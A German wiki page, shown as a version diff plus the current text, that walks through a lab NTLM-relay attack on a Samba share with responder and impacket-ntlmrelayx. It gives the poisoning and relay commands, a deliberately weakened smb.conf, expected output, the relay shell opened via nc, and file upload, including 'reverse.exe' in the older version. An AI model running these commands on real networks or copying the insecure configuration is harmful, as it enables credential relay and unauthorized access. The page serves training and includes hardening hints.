NTLM-Relay auf Samba-Freigabe mit Impacket: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Keine Bearbeitungszusammenfassung
 
(12 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
= NTLM-Relay auf Samba-Freigabe mit Impacket (Laborszenario) =
= NTLM-Relay auf Samba-Freigabe mit Impacket =
 
== Allgemeine Funktionsweise ==
 
=== responder ===
* Lauscht im lokalen Netz auf Anfragen per LLMNR (UDP 5355) und NBT-NS (UDP 137)
* Antwortet gezielt auf Namensanfragen, wenn ein Windows-Client einen Hostnamen nicht auflösen kann
* Täuscht dem Client vor, der gesuchte Host zu sein, und provoziert so eine NTLM-Authentifizierung
 
=== ntlmrelayx ===
* Fängt die NTLM-Authentifizierung des Clients ab
* Leitet sie im Relay-Modus an ein vom Angreifer bestimmtes Ziel weiter (z. B. einen Samba-Server)
* Baut auf dem Zielsystem eine authentifizierte Session auf, ohne das Passwort zu kennen
* Bietet eine interaktive SMB-Shell, um Freigaben zu nutzen oder Dateien hochzuladen


== Ziel ==
== Ziel ==
Ein Windows-Client im gleichen Netz wird über LLMNR/mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer per '''ntlmrelayx''' an einen Samba-Server weitergeleitet. Dort wird dem relayed Benutzer Gastzugriff gewährt, sodass:
Ein Windows-Client im lokalen Netz wird über LLMNR vergiftet. Die dabei gesendete NTLM-Authentifizierung wird per ntlmrelayx an einen Samba-Server weitergeleitet. Dieser akzeptiert relayed Logins als Gast und erlaubt dadurch Uploads auf eine offene Freigabe.
* SMB-Zugriff auf die Samba-Freigabe möglich ist
* Eine Datei in die Freigabe hochgeladen werden kann


== Voraussetzungen ==
== Umgebung ==
* Angreifer: Kali Linux mit impacket & responder
* Angreifer: Kali Linux mit responder und impacket
* Opfer: Windows-Rechner im selben LAN (z. B. 10.0.10.102)
* Opfer: Windows-System im selben LAN (z. B. 10.0.10.102)
* Ziel: Linux mit Samba (z. B. 10.0.10.104)
* Ziel: Linux mit Samba-Freigabe (z. B. 10.0.10.104)
* Der Samba-Server erlaubt Gastzugriff auf einen gemeinsamen Share


== 1. Samba-Ziel vorbereiten ==
== Samba-Freigabe vorbereiten ==


*Samba konfigurieren:*
Konfiguration in '''/etc/samba/smb.conf''':
<pre>
<pre>
[global]
[global]
   workgroup = WORKGROUP
   workgroup = WORKGROUP
   server role = standalone server
   server string = Relayziel
  passdb backend = tdbsam
  map to guest = Bad User
   guest account = nobody
   guest account = nobody
  ntlm auth = yes
  lanman auth = yes
  client lanman auth = yes
  client ntlmv2 auth = yes
  server min protocol = NT1


[share]
[share]
   comment = Relayziel
   comment = Relay-Ziel
   path = /mnt/media/share
   path = /mnt/media/share
   read only = no
   read only = no
Zeile 32: Zeile 45:
   force user = nobody
   force user = nobody
   force group = nogroup
   force group = nogroup
[homes]
  comment = Home Directories
  valid users = %S
  browseable = No
  read only = No
  inherit acls = Yes
  create mode = 0600
  directory mode = 0700                         
</pre>
</pre>


*Verzeichnis vorbereiten:*
Verzeichnis erstellen und Rechte setzen:
mkdir -p /mnt/media/share
<pre>
chown nobody:nogroup /mnt/media/share
mkdir -p /mnt/media/share
chmod 777 /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
systemctl restart smbd
</pre>


*Dienst neustarten:*
== Verbindung testen ==
systemctl restart smbd
<pre>
smbclient -L //10.0.10.104 -N
</pre>


== 2. Responder starten (Poisoning-Komponente) ==
→ Die Freigabe „share“ muss sichtbar sein. Es darf kein „Signing: required“ erscheinen.


responder -I eth0
== responder starten ==
<pre>
responder -I eth0 -wd
</pre>


→ Vergiftet LLMNR und mDNS-Anfragen im Netz (z. B. wenn User `\\irgendwas` aufruft)
Nur LLMNR/NBT-NS-Poisoning aktivieren. Kein integrierter SMB-Server darf laufen.


== 3. ntlmrelayx vorbereiten ==
== ntlmrelayx starten ==
<pre>
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
</pre>


*Mit interaktiver SMB-Shell starten:*
ntlmrelayx lauscht auf eingehende NTLM-Verbindungen und leitet sie direkt an die Samba-Freigabe weiter. 
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
Bei Erfolg wird eine interaktive SMB-Shell auf Port 11000 geöffnet.


→ Wartet auf NTLM-Anfragen und öffnet SMB-Zugriff zur Samba-Freigabe nach erfolgreichem Relay
== Angriff auslösen ==
Auf dem Windows-Client folgenden UNC-Pfad im Explorer oder per PowerShell öffnen:
<pre>
\\irgendwas
</pre>


== 4. Angriff auslösen ==
Wenn der Hostname nicht aufgelöst werden kann, erfolgt ein LLMNR-Broadcast. responder antwortet, ntlmrelayx relayed den NTLM-Auth an das Ziel.


*Auf dem Windows-Opfer:* 
== Erfolgreicher Zugriff ==
Ausführen oder öffnen eines nicht existenten UNC-Pfades (z. B. via Explorer):
In ntlmrelayx erscheint:
<pre>
[*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED
[!] Interactive SMB shell opened...
</pre>


\\irgendwas
Verbindung zur SMB-Shell herstellen:
<pre>
nc localhost 11000
</pre>


→ Windows versucht Namensauflösung → wird vergiftet → NTLM wird an den Angreifer geschickt → ntlmrelayx leitet weiter
Innerhalb der Shell:
 
<pre>
== 5. Ergebnis: Interaktive Shell auf Samba-Freigabe ==
shares
use share
ls
upload /tmp/test.txt
</pre>


Nach erfolgreichem Relay erscheint:
Auf dem Zielsystem prüfen:
<pre>
<pre>
[*] Authenticating against smb://10.0.10.104 as DESKTOP-XXX\USERNAME SUCCEED
ls -l /mnt/media/share
[+] Opening SMB relay connection
[!] Interactive shell opened
smb>
</pre>
</pre>


*Dort kann man z. B. eine Datei hochladen:*
→ Die Datei ist vorhanden.
upload /tmp/reverse.exe
 
== 6. Erfolg prüfen ==


Auf dem Samba-Ziel liegt nun eine Datei im Freigabe-Verzeichnis:
== Fehlerbehebung ==
ls -l /mnt/media/share


→ Ziel erreicht: SMB-Zugriff über NTLM-Relay hergestellt, Datei erfolgreich übertragen
{| class="wikitable"
 
! Problem || Mögliche Ursache || Lösung
== Zusammenfassung ==
|-
| Komponente | Aufgabe |
| Kein Relay möglich || SMB Signing aktiv || smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing
|------------|---------|
|-
| responder  | Vergiftung von Namensauflösung |
| Kein Login || NTLM wird abgelehnt || In smb.conf: map to guest = Bad User, ntlm auth = yes
| ntlmrelayx | Relaying von NTLM auf SMB-Ziel |
|-
| Samba      | akzeptiert relayed Authentifizierung als Gast |
| Keine Shell || Share nicht schreibbar || read only = no, force user = nobody, chmod 777 prüfen
| Ziel      | Datei auf Samba-Freigabe schreiben |
|-
| Kein Poisoning || LLMNR deaktiviert || Windows prüfen: Get-NetAdapterBinding -ComponentID ms_llmnrs
|-
| Verbindung scheitert || Routing-Problem || ping vom Kali auf Ziel prüfen
|-
| ntlmrelayx zeigt nichts || Kein NTLM angekommen || UNC muss nicht auflösbar sein (z. B. \\irgendwas)
|}


== Hinweise ==
== Hinweise ==
* Wird der relayed Benutzer nicht akzeptiert, hilft:
* Funktioniert nur in Netzen mit aktivem LLMNR oder NBT-NS und deaktiviertem SMB-Signing
** map to guest = Always
* Für realistische Szenarien sollte SMB-Signing am Server aktiv sein
* Ohne Schreibrechte bringt der Zugriff wenig – Ziel so konfigurieren, dass write möglich ist
* Eignet sich für Labors und Schulungsumgebungen zur Demonstration von NTLM-Relaying
* Nur für Labor geeignet – in Produktivnetzen schwer absicherbar (SMB Signing aktivieren!)
 
== Quellen ==
* https://github.com/fortra/impacket
* https://wiki.samba.org/index.php/Setting_up_a_Samba_Share

Aktuelle Version vom 18. Mai 2025, 18:23 Uhr

NTLM-Relay auf Samba-Freigabe mit Impacket

Allgemeine Funktionsweise

responder

  • Lauscht im lokalen Netz auf Anfragen per LLMNR (UDP 5355) und NBT-NS (UDP 137)
  • Antwortet gezielt auf Namensanfragen, wenn ein Windows-Client einen Hostnamen nicht auflösen kann
  • Täuscht dem Client vor, der gesuchte Host zu sein, und provoziert so eine NTLM-Authentifizierung

ntlmrelayx

  • Fängt die NTLM-Authentifizierung des Clients ab
  • Leitet sie im Relay-Modus an ein vom Angreifer bestimmtes Ziel weiter (z. B. einen Samba-Server)
  • Baut auf dem Zielsystem eine authentifizierte Session auf, ohne das Passwort zu kennen
  • Bietet eine interaktive SMB-Shell, um Freigaben zu nutzen oder Dateien hochzuladen

Ziel

Ein Windows-Client im lokalen Netz wird über LLMNR vergiftet. Die dabei gesendete NTLM-Authentifizierung wird per ntlmrelayx an einen Samba-Server weitergeleitet. Dieser akzeptiert relayed Logins als Gast und erlaubt dadurch Uploads auf eine offene Freigabe.

Umgebung

  • Angreifer: Kali Linux mit responder und impacket
  • Opfer: Windows-System im selben LAN (z. B. 10.0.10.102)
  • Ziel: Linux mit Samba-Freigabe (z. B. 10.0.10.104)

Samba-Freigabe vorbereiten

Konfiguration in /etc/samba/smb.conf:

[global]
   workgroup = WORKGROUP
   server string = Relayziel
   guest account = nobody
   ntlm auth = yes
   lanman auth = yes
   client lanman auth = yes
   client ntlmv2 auth = yes
   server min protocol = NT1

[share]
   comment = Relay-Ziel
   path = /mnt/media/share
   read only = no
   guest ok = yes
   public = yes
   browseable = yes
   force user = nobody
   force group = nogroup

[homes]
   comment = Home Directories
   valid users = %S
   browseable = No
   read only = No
   inherit acls = Yes
   create mode = 0600
   directory mode = 0700                          

Verzeichnis erstellen und Rechte setzen:

mkdir -p /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
systemctl restart smbd

Verbindung testen

smbclient -L //10.0.10.104 -N

→ Die Freigabe „share“ muss sichtbar sein. Es darf kein „Signing: required“ erscheinen.

responder starten

responder -I eth0 -wd

Nur LLMNR/NBT-NS-Poisoning aktivieren. Kein integrierter SMB-Server darf laufen.

ntlmrelayx starten

impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server

ntlmrelayx lauscht auf eingehende NTLM-Verbindungen und leitet sie direkt an die Samba-Freigabe weiter. Bei Erfolg wird eine interaktive SMB-Shell auf Port 11000 geöffnet.

Angriff auslösen

Auf dem Windows-Client folgenden UNC-Pfad im Explorer oder per PowerShell öffnen:

\\irgendwas

Wenn der Hostname nicht aufgelöst werden kann, erfolgt ein LLMNR-Broadcast. responder antwortet, ntlmrelayx relayed den NTLM-Auth an das Ziel.

Erfolgreicher Zugriff

In ntlmrelayx erscheint:

[*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED
[!] Interactive SMB shell opened...

Verbindung zur SMB-Shell herstellen:

nc localhost 11000

Innerhalb der Shell:

shares
use share
ls
upload /tmp/test.txt

Auf dem Zielsystem prüfen:

ls -l /mnt/media/share

→ Die Datei ist vorhanden.

Fehlerbehebung

Problem Mögliche Ursache Lösung
Kein Relay möglich SMB Signing aktiv smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing
Kein Login NTLM wird abgelehnt In smb.conf: map to guest = Bad User, ntlm auth = yes
Keine Shell Share nicht schreibbar read only = no, force user = nobody, chmod 777 prüfen
Kein Poisoning LLMNR deaktiviert Windows prüfen: Get-NetAdapterBinding -ComponentID ms_llmnrs
Verbindung scheitert Routing-Problem ping vom Kali auf Ziel prüfen
ntlmrelayx zeigt nichts Kein NTLM angekommen UNC muss nicht auflösbar sein (z. B. \\irgendwas)

Hinweise

  • Funktioniert nur in Netzen mit aktivem LLMNR oder NBT-NS und deaktiviertem SMB-Signing
  • Für realistische Szenarien sollte SMB-Signing am Server aktiv sein
  • Eignet sich für Labors und Schulungsumgebungen zur Demonstration von NTLM-Relaying